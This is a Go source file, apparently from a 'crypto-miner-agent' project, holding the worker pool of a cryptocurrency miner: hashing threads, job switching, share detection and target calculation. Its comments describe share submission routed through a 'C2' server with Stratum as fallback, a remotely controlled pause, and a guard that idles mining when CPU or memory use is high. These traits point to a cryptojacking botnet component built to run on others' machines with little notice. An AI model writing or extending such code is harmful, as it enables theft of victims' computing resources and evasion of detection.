package miner

import (
	"encoding/hex"
	"log"
	"math/big"
	"sync"
	"sync/atomic"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/job"
	"crypto-miner-agent/stats"
)

type ShareHandler func(jobID, nonce, hash string)

type Pool struct {
	threads  int
	cfg      config.RuntimeConfig
	reporter *stats.Reporter
	engines  []*Engine
	schedule *ScheduleGuard

	mu         sync.RWMutex
	currentJob *job.Job
	// jobGen is incremented atomically every time SetJob replaces the current job.
	// Workers compare their local snapshot to detect job changes inside the inner
	// hash loop without acquiring mu on every iteration.
	jobGen     atomic.Uint64
	stopCh     chan struct{}
	wg         sync.WaitGroup
	paused      atomic.Bool
	remotePause atomic.Bool

	// Share handler — swappable at runtime (C2 vs Stratum fallback).
	handlerMu sync.RWMutex
	handler   ShareHandler

	// Hashrate tracking — reset each stats tick, divided by elapsed seconds.
	hashesTotal    atomic.Uint64
	sharesFound    atomic.Uint64
	resetMu        sync.Mutex
	hashesLastReset time.Time
}

func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
	if threads <= 0 {
		threads = 1
	}
	engines := make([]*Engine, threads)
	for i := range engines {
		engines[i] = NewEngine()
	}
	return &Pool{
		threads:         threads,
		cfg:             cfg,
		reporter:        reporter,
		engines:         engines,
		handler:         handler,
		schedule:        NewScheduleGuard(cfg, reporter),
		stopCh:          make(chan struct{}),
		hashesLastReset: time.Now(),
	}
}

func (p *Pool) SetJob(job *job.Job) {
	p.mu.Lock()
	p.currentJob = job
	// Bump generation while holding the write-lock so workers that check jobGen
	// inside their inner batch loop break out and re-snapshot the new job.
	gen := p.jobGen.Add(1)
	_ = gen
	if job == nil {
		p.mu.Unlock()
		return
	}
	seed := job.SeedHash
	if seed == "" && len(job.Blob) >= 64 {
		seed = job.Blob[:64]
	}
	// Capture engines slice before releasing the lock.
	engines := p.engines
	p.mu.Unlock()
	// Update all engines outside the pool lock — each Engine has its own mutex.
	for _, engine := range engines {
		if err := engine.SetJob(seed, job.Blob); err != nil {
			log.Printf("[miner] failed to set job: %v", err)
		}
	}
}

func (p *Pool) Start() {
	for i := 0; i < p.threads; i++ {
		p.wg.Add(1)
		go p.worker(i, p.engines[i])
	}
	go p.resourceGuard()
}

func (p *Pool) Stop() {
	close(p.stopCh)
	p.wg.Wait()
}

// HashesPerSecond returns the average hash rate since the last ResetHashCounter call.
func (p *Pool) HashesPerSecond() float64 {
	p.resetMu.Lock()
	elapsed := time.Since(p.hashesLastReset).Seconds()
	count := float64(p.hashesTotal.Load())
	p.resetMu.Unlock()
	if elapsed <= 0 {
		return 0
	}
	return count / elapsed
}

// ResetHashCounter zeroes the counter and records the reset time so that
// the next HashesPerSecond() call measures over the correct interval.
func (p *Pool) ResetHashCounter() {
	p.resetMu.Lock()
	p.hashesTotal.Store(0)
	p.hashesLastReset = time.Now()
	p.resetMu.Unlock()
}

// SetShareHandler replaces the share submission callback at runtime.
// Used to switch between C2-mediated submission and direct Stratum submission.
func (p *Pool) SetShareHandler(fn ShareHandler) {
	p.handlerMu.Lock()
	p.handler = fn
	p.handlerMu.Unlock()
}

func (p *Pool) PauseRemote() {
	p.remotePause.Store(true)
}

func (p *Pool) ResumeRemote() {
	p.remotePause.Store(false)
}

func (p *Pool) IsRemotePaused() bool {
	return p.remotePause.Load()
}

func (p *Pool) resourceGuard() {
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-p.stopCh:
			return
		case <-ticker.C:
			p.paused.Store(!p.miningAllowed())
		}
	}
}

func (p *Pool) miningAllowed() bool {
	if !p.resourcesOK() {
		return false
	}
	if p.schedule != nil && !p.schedule.Allowed() {
		return false
	}
	return true
}

func (p *Pool) resourcesOK() bool {
	cpuPct := p.reporter.SystemCPUPercent()
	if cpuPct <= 0 {
		cpuPct, _ = p.reporter.Usage()
	}
	if p.cfg.MaxCPUUsage > 0 && cpuPct > float64(p.cfg.MaxCPUUsage) {
		return false
	}
	freeMB := p.reporter.FreeMemoryMB()
	if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
		return false
	}
	totalMB := p.reporter.TotalMemoryMB()
	if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
		usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
		if usedPct > float64(p.cfg.MaxMemoryPct) {
			return false
		}
	}
	return true
}

func (p *Pool) worker(id int, engine *Engine) {
	defer p.wg.Done()

	var nonce uint32 = uint32(id * 1000000)

	for {
		select {
		case <-p.stopCh:
			return
		default:
		}

		if p.paused.Load() || p.remotePause.Load() {
			time.Sleep(2 * time.Second)
			continue
		}

		p.mu.RLock()
		job := p.currentJob
		p.mu.RUnlock()
		if job == nil || job.Blob == "" {
			time.Sleep(500 * time.Millisecond)
			continue
		}

		// Snapshot the generation before the inner loop so we can detect a new
		// job mid-batch and break early rather than hashing 256 stale nonces.
		startGen := p.jobGen.Load()

		for batch := 0; batch < 256; batch++ {
			select {
			case <-p.stopCh:
				return
			default:
			}
			if p.paused.Load() || p.remotePause.Load() {
				break
			}
			// New job arrived — abandon this batch and re-snapshot immediately.
			if p.jobGen.Load() != startGen {
				break
			}

			hashHex, _, err := engine.HashAtNonce(nonce)
			if err != nil {
				log.Printf("[miner] hash error: %v", err)
				break
			}
			p.hashesTotal.Add(1)
			nonce++

			target := job.Target
			if target == "" && job.Difficulty > 0 {
				target = difficultyToTargetHex(job.Difficulty)
			}
			if target != "" && hashMeetsTarget(hashHex, target) {
				p.sharesFound.Add(1)
				p.handlerMu.RLock()
				h := p.handler
				p.handlerMu.RUnlock()
				if h != nil {
					h(job.ID, uint32ToHex(nonce-1), hashHex)
				}
			}
		}
	}
}

func uint32ToHex(n uint32) string {
	b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
	return hexEncode(b)
}

func hexEncode(b []byte) string {
	const hexdigits = "0123456789abcdef"
	out := make([]byte, len(b)*2)
	for i, v := range b {
		out[i*2] = hexdigits[v>>4]
		out[i*2+1] = hexdigits[v&0x0f]
	}
	return string(out)
}

func difficultyToTargetHex(difficulty int64) string {
	if difficulty <= 0 {
		return ""
	}
	maxTarget := new(big.Int)
	maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
	target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
	bytes := target.Bytes()
	padded := make([]byte, 32)
	copy(padded[32-len(bytes):], bytes)
	for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
		padded[i], padded[j] = padded[j], padded[i]
	}
	return hex.EncodeToString(padded)
}
